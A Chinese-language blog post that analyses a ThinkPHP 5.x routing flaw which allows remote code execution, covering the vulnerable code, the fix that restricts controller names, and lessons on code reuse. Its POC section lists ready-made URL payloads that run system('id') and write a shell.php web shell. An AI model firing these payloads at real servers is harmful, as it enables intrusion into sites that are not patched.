ThinkPHP5.x 路由缺陷導致遠端程式碼執行
平時經常還是會寫文章,不過越來越不願意發部落格了,寫的也越來越隨性,最近記流水賬的幾篇文章找出來一塊發了。
0x00 介紹
PHP/">ThinkPHP是一套國內流行的開源PHP MVC開發框架,其中存在3.x和5.x兩個版本,目前3.x已停止維護,5.x為15年正式推出的,基本上對3.x進行了重構,針對於路由,也捨棄了預設的方式,正是因為新的路由存在缺陷,導致任意函式的呼叫。
0x01 知識背景
路由解析
?s=index/index/hello
tp5中路由捨棄了3.x中的 ?m=index&c=Index&a=hello
方式,而使用一個引數 s
傳遞所有資訊, s=/index/Index/hello
中三部分分別代表 module
, controller
, action
。此次出現問題的部分便是 controller
,由於 ThinkPHP
中名稱空間和自動載入的作用,每個類都可被訪問到,即導致每個類都可被當做 controller
。
引數處理
<?php namespace app\index\controller; class Test { public function index($name){ return 'Hello '+$name; } }
?s=index/test/index&name=world
引數會自動處理,當然也可為陣列,比如
?s=index/test/index&name[0]=world&&name[1]=xx
0x02 漏洞分析
在5.1.x中函式名為 parseModuleAndClass
,功能一樣
parseClass()
函式:
正常情況下會對 name
進行處理,限制在 app\index\controller
名稱空間。
這裡的 name
即為 controller
,前置處理為獲取到 module
, controller
, action
,將 controller
傳入該函式處理。
當 name
中存在 \\
時,直接將 name
賦值到 class
,不再進行 parseClass
操作,配合自動載入的機制從而導致可為任意名稱空間下的類作為 controller
,任意 public
都可被使用者訪問到,結合 ThinkPHP5
內建的一些類和方法便可造成遠端命令執行。
0x03 POC
thinkphp/library/think/App.php 304-320行
/** * 執行函式或者閉包方法 支援引數呼叫 * @access public * @param string|array|\Closure $function 函式或者閉包 * @param array$vars變數 * @return mixed */ public static function invokeFunction($function, $vars = []) { $reflect = new \ReflectionFunction($function); $args= self::bindParams($reflect, $vars); // 記錄執行資訊 self::$debug && Log::record('[ RUN ] ' . $reflect->__toString(), 'info'); return $reflect->invokeArgs($args); }
?s=index/thinkapp/invokefunction/function/call_user_func_array&vars[0]=system&vars[1][]=id
ReflectionFunction
為PHP中的反射類,反射呼叫 call_user_func_array
, call_user_func_array
為回撥函式,回撥 system
,引數為 id
已知POC(來自t00ls):
1、?s=index/\think\Request/input&filter=phpinfo&data=1 2、?s=index/\think\Request/input&filter=system&data=id 3、?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E 4、?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E 5、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 6、?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id 7、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1 8、?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=id
0x04 漏洞補丁
該補丁為 5.0.x
補丁, 5.1.x
位置不一樣,方式一樣。
補丁方式為限制 controller
只能為字母和數字。並且放在 controller
處理之前。
0x04 總結
簡單來說這個洞是由於使用者控制了 controller
導致的,開發者將處理 controller
的程式碼封裝到了 Loader.php
,並且與其他功能進行程式碼複用,為了滿足其他功能增加的功能(即特殊處理存在 \\
的引數),從而導致了漏洞。 程式碼複用是開發者優質的習慣,但也需要嚴格稽核是否因為書寫複用程式碼時是否會造成漏洞。
另外,可以看到這是一個非常淺顯的洞,至今沒有人發現,最終由官方爆出,也許很多使用者預設此開源框架“流行 == 安全”,其實很多應用並不是想象中的完全安全,漏洞經常發生在被人忽視的地方。
著作權歸作者所有。
商業轉載請聯絡作者獲得授權,非商業轉載請註明出處。
作者:p0
連結:https://p0sec.net/index.php/archives/125/
來源:https://p0sec.net/